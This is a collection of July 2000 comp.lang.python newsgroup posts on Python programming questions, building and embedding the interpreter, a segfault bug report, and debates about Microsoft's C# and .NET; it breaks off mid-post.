> knowledge: besides its own class attribute a subclass instance can
> query the value of the class attribute of the base class as well.

Let me clarify my position: static variables/methods in Java/C++ are a mess
(although still sometimes useful, especially with templates).  Class
attributes in Python are elegant and useful in ways that static variables in
Java and C++ aren't (although get_? functions could often serve the same
purpose).


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From alex at magenta.com  Fri Jul 28 07:43:20 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 13:43:20 +0200
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <8ln84n$380$1@gaia.cdg.acriter.nl> <njLf5.12964$4p3.101185@news-server.bigpond.net.au> <S1Z1K6AQMBg5EwNZ@jessikat.fsnet.co.uk> <3dittrsdhl.fsf@kronos.cnri.reston.va.us> <39815602.18CCB9A0@hursley.ibm.com>
Message-ID: <8lrrsi0123s@news2.newsguy.com>

"Paul Duffin" <pduffin at hursley.ibm.com> wrote in message
news:39815602.18CCB9A0 at hursley.ibm.com...
> Andrew Kuchling wrote:
> >
> > Robin Becker <robin at jessikat.fsnet.co.uk> writes:
> > > This IL stuff is not a big deal intellectually so why doesn't M$ just
> > > release the language definition and sources and let the big & small
guys
> > > play?
> >
> > It would certainly be interesting to see a spec for MSIL and CLR, in
> > order to gauge the complexity of writing an independent
> > implementation.  It might provide a decent chance of unifying the
> > hopelessly fragmented state of scripting languages on Unix.
>
> This is exactly what Jean-Claude Wippler has been trying to do for ages. I
> don't know if you remember Minotaur but it is conceptually the same as
.NET
> except that it used Forth as the lowest layer (the IL).

A key difference appears to be that IL is not designed for easy
interpretation,
but rather specifically for compilation down to machine-code (possibly JIT,
possibly at assembly-installation time, that could be an administrative
choice).

Forth, of course, is an excellent form for interpretation, not particularly
suited
for machine-code generation.  JVM's bytecode seems to be somewhat in
between.  Of course it will be possible to interpret IL, if trying hard
enough
(just as, say, any machine-language can be interpreted, aka emulated), but,
from
what I've read so far, that definitely does not seem to be its emphasis, nor
what
the .NET/NWGS runtime is mostly going to do.

If so, then it would appear to be far closer to OSF's old and beautiful
project,
the ANDF (Architecture-Neutral Distribution-Format), which never really got
anywhere in practical terms -- maybe IL is sufficiently less ambitious, more
focused, and/or better-funded than ANDF... who knows, one can hope!-)


> I have had a look at .NET at it seems really neat, if only it was not
> proprietary and worked across multiple platforms. If that was so then it

It's early to tell, but I suspect that, just as for COM, the specs for IL,
CLS,
CRL, .NET will be available for clean-room reimplementation on other
platforms, if people want to try.  Of course, this is just speculation (I
have
absolutely NO access to any privileged information in the matter), and it's
far from clear that, even if so, then such a reimplementation will indeed
happen (Mozilla's XPCOM could be seen as a cross-platform clone of
COM, but it's still not in a released-stable state, and how many years it's
been since COM specs have been out...?  IL+CLS+CRL+.NET/NWGS
seems to be order of magnitude more work to reimplement, than COM's
far more modest architecture & infrastructure, too...).

> would probably replace JVMs and Java would be just another language you
> could choose to use, rather than one you have to use because of the hype.

I think there's far too much Java deployed out there for JVM's to be so
easily "replaced".  IL, as far as I understand it, does not really emulate
the
typical JVM's functionality; retargeting Java compilers for it, while quite
feasible, would then not be a snap, nor is all of that huge mass of Java
code
going to be recompiled all that easily, I suspect...


Alex





From MarkH at ActiveState.com  Thu Jul 27 19:52:25 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 27 Jul 2000 23:52:25 GMT
Subject: retrieveing mail from a pop3 account
References: <8lps39+ski@eGroups.com>
Message-ID: <ZW3g5.13990$4p3.108606@news-server.bigpond.net.au>

<jesse at multimediacollective.com> wrote in message
news:8lps39+ski at eGroups.com...
> Hey, I've been writing a program which connects to my Pop3 mail
> account, logs in, retrieves each mail in order and prints them out.
> (just printing to standard output for now).  However, say I have two
> messages in my mailbox.  It will print out the body of the first
> message TWICE.  So it will use the first body message as the body of
> every message.

You code assumes that messages are indexed from 0 - they are indexed from
1.

> Here is the code.
>     numMessages = len(open_mail.list()[1])
>     for index in range(numMessages):

Should be:
>     numMessages = len(open_mail.list()[1])
>     for index in range(1, numMessages+1):

The pop server should probably fail when asking for message 0, but there
may be a reason why it doesnt - Ive never read the relevant RFC in detail.

Mark.




From wware at world.std.com  Wed Jul 26 12:13:13 2000
From: wware at world.std.com (Will Ware)
Date: Wed, 26 Jul 2000 16:13:13 GMT
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu> <slrn8nsdpi.2pk.wtanksle@dolphin.openprojects.net> <397F0C1F.48F761AF@bioeng.ucsd.edu>
Message-ID: <FyBBq2.GnC@world.std.com>

Curtis Jensen (cjensen at bioeng.ucsd.edu) wrote:
> [Python's format-string mechanism]
> only works with tuples, not lists.  The % operator with strings
> requires tuples.  I'm not sure why the chose to make this limitation. 
> The following code gives this error.
> a = [1,2,3,4,5]
> print (5*"%5i ") % a
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> TypeError: illegal argument type for built-in operation

This is all true, but it's not too bad because you can easily convert
a list to a tuple using the tuple() function. Just type

print (5*"%5i ") % tuple(a)

and you should be OK.
-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From rob at hooft.net  Wed Jul 19 08:35:35 2000
From: rob at hooft.net (Rob W. W. Hooft)
Date: Wed, 19 Jul 2000 14:35:35 +0200 (CEST)
Subject: SEGFAULT. Bug in interpreter?
Message-ID: <14709.41111.349921.206139@temoleh.chem.uu.nl>

I am running the current CVS version of python on a redhat 6.2 box and
see the following:

--------------------------------
no203[394]~%3% python x.py
zsh: segmentation fault  python x.py
no203[394]~%3% gdb =python
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) run x.py
Starting program: /usr/local/nonius/bin/python x.py

Program received signal SIGSEGV, Segmentation fault.
PyErr_NormalizeException (exc=0xbffff73c, val=0xbffff740, tb=0xbffff744) at errors.c:166
166             if (PyClass_Check(type)) {
(gdb) where
#0  PyErr_NormalizeException (exc=0xbffff73c, val=0xbffff740, tb=0xbffff744) at errors.c:166
#1  0x8063931 in PyErr_PrintEx (set_sys_last_vars=1) at pythonrun.c:690
#2  0x8063906 in PyErr_Print () at pythonrun.c:680
#3  0x80636bb in PyRun_SimpleFile (fp=0x80f3ae8, filename=0xbffff9a1 "x.py") at pythonrun.c:585
#4  0x806338d in PyRun_AnyFile (fp=0x80f3ae8, filename=0xbffff9a1 "x.py") at pythonrun.c:463
#5  0x80513f7 in Py_Main (argc=2, argv=0xbffff824) at main.c:271
#6  0x8050f86 in main (argc=2, argv=0xbffff824) at python.c:10
(gdb) 
-----------------------------------------

On the script below. I have undressed it as much as possible, but
anything I change further in the "genkappa" routine changes the crash
into an error message either in "gentheta" or in "genkappa": 
SyntaxError: 'continue' not properly in loop (line 4)

---------------------------------------
def gentheta():
    while 1:
        try:
            continue
        finally:
            pass

def genkappa():
    if whatsmounted!='crystal':
        mountcrystal()
    while 1:
        if not inhibitmake:
            projtls.moveoutofway('kappa',dirok=1)
            os.mkdir('kappa')
        os.chdir('kappa')
        try:
            announce("Testing Kappa zero-point")
            # Use the detalign.vic produced by the dx calibration
            dal=os.path.join('..','dx','detalign.vic')
            if os.path.exists(dal):
                print "NOTE: Using detalign.vic from dx calibration"
                filecopy(dal,'detalign.vic')
            if not inhibitmake:
                status=os.system('calkappa make')
            else:
                status=os.system('calkappa')
            if status!=0:
                beeper.on()
                answer=command.question(root,'Calkappa Warnings',text='Calkappa issued some warnings and/or errors.\nPlease check what they are, and tell me what to do',
                                        strings=("Ignore them","Retry calkappa","Cancel and quit"))
                beeper.off()
                if answer==2:
                    cancel()
                if answer==1:
                    continue
            if os.path.exists('instruct.txt'):
                beeper.on()
                answer=command.fixedfontquestion(
                    root,'Kappa missetting needs correction',
                    text=open('instruct.txt').read(),
                    strings=("I have now done this","I'm ignoring this for now","Cancel and quit"))
                beeper.off()
                if answer==2:
                    cancel()
                if answer==1:
                    break
            else:
                # No instructions means no correction required
                break
        finally:
            os.chdir('..')



From thor at localhost.localdomain  Tue Jul  4 12:13:05 2000
From: thor at localhost.localdomain (Manuel Gutierrez Algaba)
Date: 4 Jul 2000 16:13:05 GMT
Subject: Socket problem
References: <slrn8m1p8s.2e9.thor@localhost.localdomain> <39652e57.16380596@news.btx.dtag.de>
Message-ID: <slrn8m4acu.na.thor@localhost.localdomain>

On Tue, 04 Jul 2000 00:23:05 GMT, Stefan Franke <spamfranke at bigfoot.de> wrote:
>[Might be a repost..]
>
>On 3 Jul 2000 17:08:24 GMT, thor at localhost.localdomain (Manuel Gutierrez Algaba) wrote:
>
>>
>>I'm doing a game for my University. It's divided into 3 parts
>>( AI (clips), core(python), GUI(python)) communicated by sockets.
>
>Sorry, no help for your question, but just for interest - how do you interface
>with clips?

expectk

BTW, I've solved the problem, 

/sbin/ifconfig lo 127.0.0.1 did the trick.

-- 
MGA


From aahz at netcom.com  Sat Jul 22 22:15:03 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 23 Jul 2000 02:15:03 GMT
Subject: Looping on more than one list
References: <3979C6F4.B1FF1800@atlsci.com>
Message-ID: <8ldkf7$7km$1@nntp9.atl.mindspring.net>

In article <3979C6F4.B1FF1800 at atlsci.com>,
ahmed Bouferguene  <aboufer at atlsci.com> wrote:
>
>    Do no know much of python, but I am wondering whether it is possible
>to loop
>on more than one list, something like,
>
>a = [1,2,34]
>b=["a", "b", "d"]
>
>for x in a, y in b :
>    print x, y

Not currently.  Look at all the threads about zip(), marry(), braid(),
etc.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From shapr at uab.edu  Tue Jul 25 14:24:21 2000
From: shapr at uab.edu (Shae Erisson)
Date: Tue, 25 Jul 2000 18:24:21 GMT
Subject: Python & AI
References: <fr8rnskopofu13smscl4rm0b1pacisbikk@4ax.com>
Message-ID: <397DDA8A.6646F6F1@uab.edu>

rhymes wrote:
> 
>  Do u know something on the net related to Artificial Intelligence and
> Python Language??

http://www.strout.net/python/ has some AI in Python source.
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From paul at prescod.net  Wed Jul 12 18:55:56 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 12 Jul 2000 17:55:56 -0500
Subject: What is UnboundLocalError for?
References: <etdhf9vt1xf.fsf@w20-575-115.mit.edu>
Message-ID: <396CF77C.DE3FB111@prescod.net>

Alex wrote:
> 
> (Python 2.0 question.)
> 
> I was wondering what situations the UnboundLocalError exception is
> intended to be thrown in.  I encountered it when I made a mistake like
> this:
> 
> >>> f()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "<stdin>", line 1, in f
> UnboundLocalError: l

Well you didn't show the code that gave you the error, but it probably
would have given you a pretty good idea. An UnboundLocal is called when
you assign to a local in a function but refer to it first. It's like
referring to something before you declare it in languages that have
variable declarations. In Python, the assignment *is* the declaration.
-- 
 Paul Prescod - Not encumbered by corporate consensus
Simplicity does not precede complexity, but follows it. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From john.osullivan at chase.com.bbs  Thu Jul 13 08:20:04 2000
From: john.osullivan at chase.com.bbs (john.osullivan at chase.com.bbs)
Date: 13 Jul 2000 12:20:04 GMT
Subject: Solaris/SparcWorks 1.5.2 build
Message-ID: <3bO5b4$nW2@openbazaar.net>

I did a build and install of Python 1.5.2 on my Solaris box
recently. I'm running Solaris 2.6 on an Ultra 5, with
SparcWorks 4.2 C and C++ compilers. I ran across some
gotchas which I thought I'd document. Others, who like
me are working in a corporate environment where gcc
and gmake aren't available, may find them handy. If you're
trying to build with SparcWorks C/C++ and Solaris
make you may well run into gotchas 1 to 3. Number
4 is a really bizarre one which is quite improbable -
I wrote it down 'cos I enjoy winkling out a good bug...

JOS 2000-07-13 (john.osullivan at chase.com)


1. Run configure to build without gcc and with support for
threading...

./configure --without-gcc --with-thread

2. Make sure your path picks up the SparcWorks C and C++
compilers first, before /usr/ucb. My SparcWorks is in
/dvl/sw/SUNWspro_4.2/bin. If you pick up /usr/ucb/cc first
you will get something like...

{dvcls105_le0:38} ./configure --without-gcc --with-thread
loading cache ./config.cache
checking MACHDEP... sunos5
checking CCC...
checking for --without-gcc... yes
checking for gcc... (cached) cc
checking whether the C compiler (cc  ) works... no
configure: error: installation or configuration problem: C compiler
cannot create executables.

If you get this you can check whether the problem is caused by
/usr/ucb/cc like so...

{dvcls105_le0:34} cc
/usr/ucb/cc:  language optional software package not installed
{dvcls105_le0:35} ls -l /usr/ucb/cc
-r-xr-xr-x   1 bin      bin         3084 Jul 16  1997 /usr/ucb/cc

3. Make sure that DEFS includes -D_REENTRANT -mt in the
Makefiles...

DEFS=           -DHAVE_CONFIG_H -D_REENTRANT -mt

You need this for multithreading - which you will need
if you want to run, for instance, Zope.

4. Look out for Solaris make's implicit rules kicking in. The
implicit rules live in /usr/share/lib/make/make.rules. They
can cause the invocation of, among other things, sccs and
yacc. I experienced a particularly bizarre interaction
since I had a PROJECTDIR environment var set. sccs looks
for an SCCS subdirectory below the dir pointed to by
PROJECTDIR, and mine just happened to have an old
history file called s.parser.y, which got recovered
by an implicit rule in /usr/share/lib/make/make.rules
and passed through yacc to overwrite parser.c. The output
below was generated by 'make -d'. The "parser.y" prefixing
the C compiler error reports was caused by a preprocessor
directive in parser.y and the generated parser.c

 -O -I./../Include -I.. -DHAVE_CONFIG_H -D_REENTRANT -mt  -c  node.c
   Building pgen because it is out of date relative to node.o
      Sccs getting parser.y because s. file is younger than source file
sccs  get -s parser.y -Gparser.y
     Building parser.c using suffix rule for .y.c because it is out of
date relative to parser.y
yacc  parser.y
mv y.tab.c parser.c
    Building parser.o because it is out of date relative to parser.c
    Building parser.o using suffix rule for .c.o because it is out of
date relative to parser.c
cc -O -I./../Include -I.. -DHAVE_CONFIG_H -D_REENTRANT -mt  -c  parser.c
"parser.y", line 12: cannot find include file: <cmacros.h>
"parser.y", line 26: undefined or not a type: cmd_descriptor
"parser.y", line 26: syntax error before or at: *
"parser.y", line 26: warning: old-style declaration or incorrect type
for: cursource
"parser.y", line 27: undefined or not a type: cList
"parser.y", line 27: syntax error before or at: *
"parser.y", line 27: warning: old-style declaration or incorrect type
for: curargs




Sent via Deja.com http://www.deja.com/
Before you buy.


From grey at despair.rpglink.com  Fri Jul 28 18:04:37 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 22:04:37 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com>
Message-ID: <slrn8o40ni.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 11:55:51 -0700, Erik Max Francis <max at alcyone.com> wrote:
>Steve Lamb wrote:
>
>>     As a human, type 1.  Character?  String?  Integer?  Floating
>> number?  No,
>> it is 1 and it can be all of those all on context.

>In Python, and most programming languages that have some notion of type,
>it is an integer.  If you wanted a string, then you'd have typed '1', or
>converted it to a string with `1` or repr(1) or str(1).

    Most, not all.  Again, I ask, as a /human/.  Not as a computer,
calculator, dog, fish, pet rock, face on mars, some gas creature in
delta-theta 3 (word up, gass monster) or almond, is 1 a character a string an
integer a floating point number or what?  If you have problems ask about 2
dozen people off the street what 1 is with that question and see how many
puzzled looks you get.

>If you don't like Python, then don't use it. 

    When did I say I didn't like it?

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From stephen at cerebralmaelstrom.com  Fri Jul 14 19:47:43 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Fri, 14 Jul 2000 23:47:43 GMT
Subject: Getting local IP address...
Message-ID: <8ko8qr$7cd$1@nnrp1.deja.com>

How do I go about getting my dynamic IP address? I want to make a
little program to check periodically (daily or so) and log the results
so I can determine how often my IP is getting shuffled. :)

Thanks :)

--Stephen


Sent via Deja.com http://www.deja.com/
Before you buy.


From scarblac-spamtrap at pino.selwerd.nl  Thu Jul 20 02:36:51 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 20 Jul 2000 06:36:51 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <upuo9h97v.fsf@ctwd0143.fitlinxx.com> <E7td5.21925$DZ4.71373@news.corecomm.net>
Message-ID: <slrn8nd7dp.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>

nobody wrote in comp.lang.python:
> (fwiw, my prefeerence for this stems mostly from a liking for brevity;

There's another common idiom noone mentioned yet:

import fileinput

for line in fileinput.input("somefile"):
   process(line)

(it opens it for you too)
-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
Hi! I'm a .sig virus! Join the fun and copy me into yours!


From interfaze at my-deja.com  Tue Jul 11 09:47:27 2000
From: interfaze at my-deja.com (Tom Smith)
Date: Tue, 11 Jul 2000 13:47:27 GMT
Subject: [ANN] Python port to Palm Pilot
References: <200007070140.SAA31035@wd264.aero.org> <200007101546.IAA09887@rushe.aero.org> <FxIJ0z.H28@world.std.com> <14698.38478.979087.248189@malibu.aero.org>
Message-ID: <8kf8h9$ica$1@nnrp1.deja.com>

So, forgive my ignorance, what exactly does palmPython (snigger) do?

I too installed before reading any docs, ran it...thought I'd crashed
it, then typed ...
print "testeroony"
...and it went away and ran some tests...







Sent via Deja.com http://www.deja.com/
Before you buy.


From fiona at sitegnome.com  Wed Jul 26 09:06:20 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 26 Jul 2000 13:06:20 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 26th, 2000
Message-ID: <20000726130620.20298.qmail@synop.com>

Hi All,

The latest entries into http://python.faqts.com

regards,

Fiona Czuczman

Including:

- Manipulating PNG files using Win32 PIL
- How can I map the read() function of a file object?
- What is the fastest way to search a binary file for a certain byte 
pattern (**** in my case)?
- Embedding Python code in a C++ program, I get dynamic linking errors 
if I try to import any non-built in module, what's wrong?


## New Entries #################################################


-------------------------------------------------------------
Manipulating PNG files using Win32 PIL
http://www.faqts.com/knowledge-base/view.phtml/aid/5025
-------------------------------------------------------------
Fiona Czuczman
Olivier A. Dagenais

Problem:

I've writen a script to generate PNG images using PIL.  It works a treat
under Linux, but when I try to port it to MSWindows, the
PIL/PngImagePlugin spits saying that I don't have a zip encoder. I
already have a copy of pkzip, but I got hold of a copy of gzip.exe and
stuck it in C:\Windows\zip.exe but to no avail. Can anyone confirm that
I need a zip executable, or is the PIL wanting a DLL, etc?

Solution:

http://www.pythonware.com/downloads.htm

Says this, near the end of the page:

"Optional support libraries must be downloaded separately: jpeg and 
zlib."

...you'll want to follow the zlib link:

ftp://ftp.freesoftware.com/.0/infozip/zlib/zlib.html

The zlib library is used for manipulating PNG files...


-------------------------------------------------------------
How can I map the read() function of a file object?
http://www.faqts.com/knowledge-base/view.phtml/aid/5028
-------------------------------------------------------------
Fiona Czuczman
Peter Schneider-Kamp, Bjorn Pettersen

Just use a lambda like this:

map(lambda f:open(f,"r").read(), list_of_filenames)

or perhaps:

  def openAndRead(filename):
      return open(filename).read()

  map( openAndRead, listOfFilenames )


-------------------------------------------------------------
What is the fastest way to search a binary file for a certain byte pattern (**** in my case)?
http://www.faqts.com/knowledge-base/view.phtml/aid/5029
-------------------------------------------------------------
Fiona Czuczman
Bjorn Pettersen

Use:

import string
string.find( open('my_binary_file','rb').read(), '****' )


-------------------------------------------------------------
Embedding Python code in a C++ program, I get dynamic linking errors if I try to import any non-built in module, what's wrong?
http://www.faqts.com/knowledge-base/view.phtml/aid/5030
-------------------------------------------------------------
Fiona Czuczman
Ted Drain

Problem:

I am trying to learn how to embed Python code in a C++ program. I got
the example from the docs (the one that imports sys and prints out a
couple of strings -- search from initxyzzy in google). The problem I get
is that if I try to import any non-built in module, I get dynamic
linking errors. For example, adding the following line 31 works:

_______________________________________________________________________
...
     29         /* Execute some Python statements (in module __main__)
*/
     30         PyRun_SimpleString("import sys\n");
-->  31         PyRun_SimpleString("import thread\n");
     32         PyRun_SimpleString("print sys.builtin_module_names\n");
...
_______________________________________________________________________

but adding the following line instead:

_______________________________________________________________________
...
     29         /* Execute some Python statements (in module __main__)
*/
     30         PyRun_SimpleString("import sys\n");
-->  31         PyRun_SimpleString("import random\n");
     32         PyRun_SimpleString("print sys.builtin_module_names\n");
...
_______________________________________________________________________

produces:

_______________________________________________________________________
[lopes at groucho lopes]$ ./demo 
Hello, brave new world

Traceback (innermost last):
  File "<string>", line 1, in ?
  File "/usr/lib/python1.5/random.py", line 22, in ?
    import whrandom
  File "/usr/lib/python1.5/whrandom.py", line 140, in ?
    _inst = whrandom()
  File "/usr/lib/python1.5/whrandom.py", line 46, in __init__
    self.seed(x, y, z)
  File "/usr/lib/python1.5/whrandom.py", line 58, in seed
    import time
ImportError: /usr/lib/python1.5/lib-dynload/timemodule.so: undefined
symbol: PyExc_IOError
('__builtin__', '__main__', 'imp', 'marshal', 'pcre', 'posix', 'regex',
'signal', 'sys', 'thread')
['xyzzy', 'os.path', 'os', 'exceptions', '__main__', 'posix',
'whrandom', 'sys', '__builtin__', 'site', 'random', 'signal',
'UserDict', 'posixpath', 'stat']
./demo
['./demo']
_______________________________________________________________________


Solution:

If you're building w/ gcc, add the link line option:

-Wl,-E

This says to pass the -E option to the linker.  This option tells the
linker to make all statically linked symbols available to the dynamic
libraries.  Without it, the symbols linked from libpython1.5.a aren't 
seen by symbols in the dynamic libraries.






From gmcm at hypernet.com  Sun Jul 16 21:11:19 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 17 Jul 2000 01:11:19 GMT
Subject: Can't load .pyd files from embedded Python interp
References: <39722B90.A41E02B5@tds.net>
Message-ID: <8F73D685Egmcmhypernetcom@199.171.54.194>

Edward K. Ream wrote:

>I'm having difficulty importing modules defined in .pyd files from an
>embedded Python interpreter.  The problem seems to be that two sets of
>variables are being used and no linking is happening when the DLL is
>loaded.  Perhaps you DLL gurus will spot the problem immediatly. 
>Details follow...

Thank you for posting such detailed research!

Extension modules are linked against an import lib for python15.dll. So 
they load python15.dll automatically, and use the symbols exported from the 
dll, not the ones statically linked into your embedded app.

While it is possible to export symbols from an .exe (in MSVC land, this 
produces an .exp file), I've never experimented with back-linking a dll to 
an exe.

Most people just use python15.dll from their embedding app so both get the 
same copy. Using Borland probably adds some warts to the process, since 
everybody has to end up using the same c runtime. Your best bet is to look 
for some posts by Gordon Williams, who has instructions on building python 
with Borland.

Good luck!

- Gordon


From fermigier at localhost.localdomain  Fri Jul  7 17:17:28 2000
From: fermigier at localhost.localdomain (fermigier)
Date: 7 Jul 2000 23:17:28 +0200
Subject: POOP / Python (Object Oriented Persistence) ?
References: <00c601bfe812$febfeef0$f0c809c0@lslp7o.lsl.co.uk> <8k4t1u$7fk$1@newshost.accu.uu.nl>
Message-ID: <8k5hd8$go8$1@localhost.localdomain>

In article <8k4t1u$7fk$1 at newshost.accu.uu.nl>,
Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>Right, and since us Zope folks are using the stuff, some of these problems
>seem to be taken care of. Do you still think what the ZODB does is much
>different from what you're describing?

Well, from my point of view, ZODB is a transactional persistent Python
object store, not an object oriented-database since it lacks a query
language (like OQL).

What I'm missing most from ZODB, and is usually easy to do with an
object-relational adapter, are queries and a simple way to do schema
evolutions.

	S.

-- 
St?fane Fermigier, <www.fermigier.com>


From robin at jessikat.fsnet.co.uk  Thu Jul 27 12:15:38 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 27 Jul 2000 17:15:38 +0100
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au>
 <8ln84n$380$1@gaia.cdg.acriter.nl>
 <njLf5.12964$4p3.101185@news-server.bigpond.net.au>
 <S1Z1K6AQMBg5EwNZ@jessikat.fsnet.co.uk>
 <xPWf5.13765$4p3.106670@news-server.bigpond.net.au>
Message-ID: <bSHHjtAqAGg5Ew+Q@jessikat.fsnet.co.uk>

In article <xPWf5.13765$4p3.106670 at news-server.bigpond.net.au>, Neil
Hodgson <neilh at scintilla.org> writes
>> The fact that there are dyed in the wool M$ hating academics is surely a
>> reflection of M$'s past behaviour. The fact that M$ can apparently turn
>> these guys around so easily says a lot about what M$ is really good at
>> (selling and hype) and also about what the academics are poor at (real
>> world judgement).
>
>   You are overlooking the appeal of a decent sized research grant to your
>average starving academic ;)
>
>   Neil
...
Luckily when I was an academic I wasn't the one tasked with getting the
next grant application together :) I do remember that it took one of the
more astute members of the research group around 25-30% of their time to
get something useful together. Not to mention the 5-10% of everyone's
time spent in arguing and attending committee meetings etc.

If M$ doesn't cost the academics that sort of effort before giving money
I would strongly advise them to get a good Greek horse dentist.
-My M$ muMath is no longer supported-ly yrs- 
Robin Becker


From olczyk at interaccess.com  Sat Jul  1 00:40:10 2000
From: olczyk at interaccess.com (Thaddeus L. Olczyk)
Date: Sat, 01 Jul 2000 04:40:10 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl>
Message-ID: <395d728e.117049078@nntp.interaccess.com>

On 28 Jun 2000 06:02:09 GMT, thomas at xs4all.nl (Thomas Wouters) wrote:

>On Wed, 28 Jun 2000 04:05:21 GMT, Courageous <jkraska1 at san.rr.com> wrote:
>
>>> On top of that, very likely that if SUN sues they win.
>
>>Ridiculous.
>
>Very much so. But it wouldn't be suprising just the same, given the American
>patenting/registration practices and the average american courthouse ;-)
>
>Overseas-ly y'rs,
>	Thomas
Virtually all SUN has to do is pull some of the demo programs out of
Microsofts manual. Write the equivalent code in python, perl, C++,
pascal, and a few other languages. Compare them side by side. A fairly
sophisticated person can see that it's resemblance to Java. Look at
the law judges are sophisticated enough. Given that Microshit is being
sued by SUN for their abuse of Java, I don't think it will be hard at
all for  SUN to convince a judge that all C# is, is a variant of Java
with tons of proprietary crap glued on and the label changed.


From edream at tds.net.bbs  Mon Jul 17 12:40:01 2000
From: edream at tds.net.bbs (edream at tds.net.bbs)
Date: 17 Jul 2000 16:40:01 GMT
Subject: Can't load .pyd files from embedded Python interp
Message-ID: <3bRIQ1$jm0@openbazaar.net>

Gordon McMillan wrote:

> Most people just use python15.dll from their embedding app so both get the
> same copy. Using Borland probably adds some warts to the process, since
> everybody has to end up using the same c runtime. Your best bet is to look
> for some posts by Gordon Williams, who has instructions on building python
> with Borland.

Gordon, thanks so much for this reply.  This was precisely what I
needed.

There were several factors making it difficult for me to see the
obvious.

1.  I had no idea that python15.dll existed or that it was loaded as
part of the Windows install.  One of Gordon Williams posts on
comp.lang.python mentions that python15.dll is found in
C:\Windows\System

2.  I had previously abandoned the idea of using either python15.dll or
python15.lib with Borland C because some of the "very high level" C
API's use FILE * arguments, which obviously won't work with Borland C.
But the solution is trivial: just make sure that the code in the
embedding app never calls these functions!

3.  I had no idea that linking python15.dll, rather than python15.lib,
is required when embedding Python in an app.  It is required so that
imported .pyd files can access variables in the Python interpreter.

This illustrates one of the most common failings in documentation:
failing to tell _what_ the reader is to do and _why_.  Much
documentation just jumps in and explains _how_ to do something.  I just
reviewed the Python Extending and Embedding docs.  There is no mention
that one must link against python15.dll, and certainly no hint about
why that is necessary.  One or two sentences in the docs might have
saved me about a week of enjoyable, but useless, work.

I'll write up my experiences when I've successfully embedded Python in
my app.  For now the conclusion seems to be that one only need link in
C:\Windows\System\python15.dll to the app.  There are some details
specific to Borland, but presumably they won't be difficult.

Again, thanks so much for setting me on the right track.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From jeremy at beopen.com  Fri Jul  7 11:20:06 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: Fri, 7 Jul 2000 11:20:06 -0400 (EDT)
Subject: Python bug reporting [was: Re: readline.c & more]
In-Reply-To: <oq4s62uo63.fsf_-_@titan.progiciels-bpi.ca>
References: <Pine.LNX.4.21.0007070138250.7366-100000@krispc6.physik.uni-karlsruhe.de>
	<blk8eywti5.fsf@bitdiddle.concentric.net>
	<oq4s62uo63.fsf_-_@titan.progiciels-bpi.ca>
Message-ID: <14693.62758.307370.268472@bitdiddle.concentric.net>

>>>>> "FP" == ISO-8859-1  <ISO-8859-1> writes:

  FP> [Jeremy Hylton]
  >> I agree that the system [of necessarily using the Web to report
  >> Python bugs, instead of the usual Python bug reporting email
  >> address] isn't great, but at least it provides us with a
  >> mechanism to track patches and assign responsibility for them.
  >> The old email approach didn't have either feature, which made it
  >> much harder for the people catching the patches.

  FP> There are plenty of users, and a much smaller bunch of
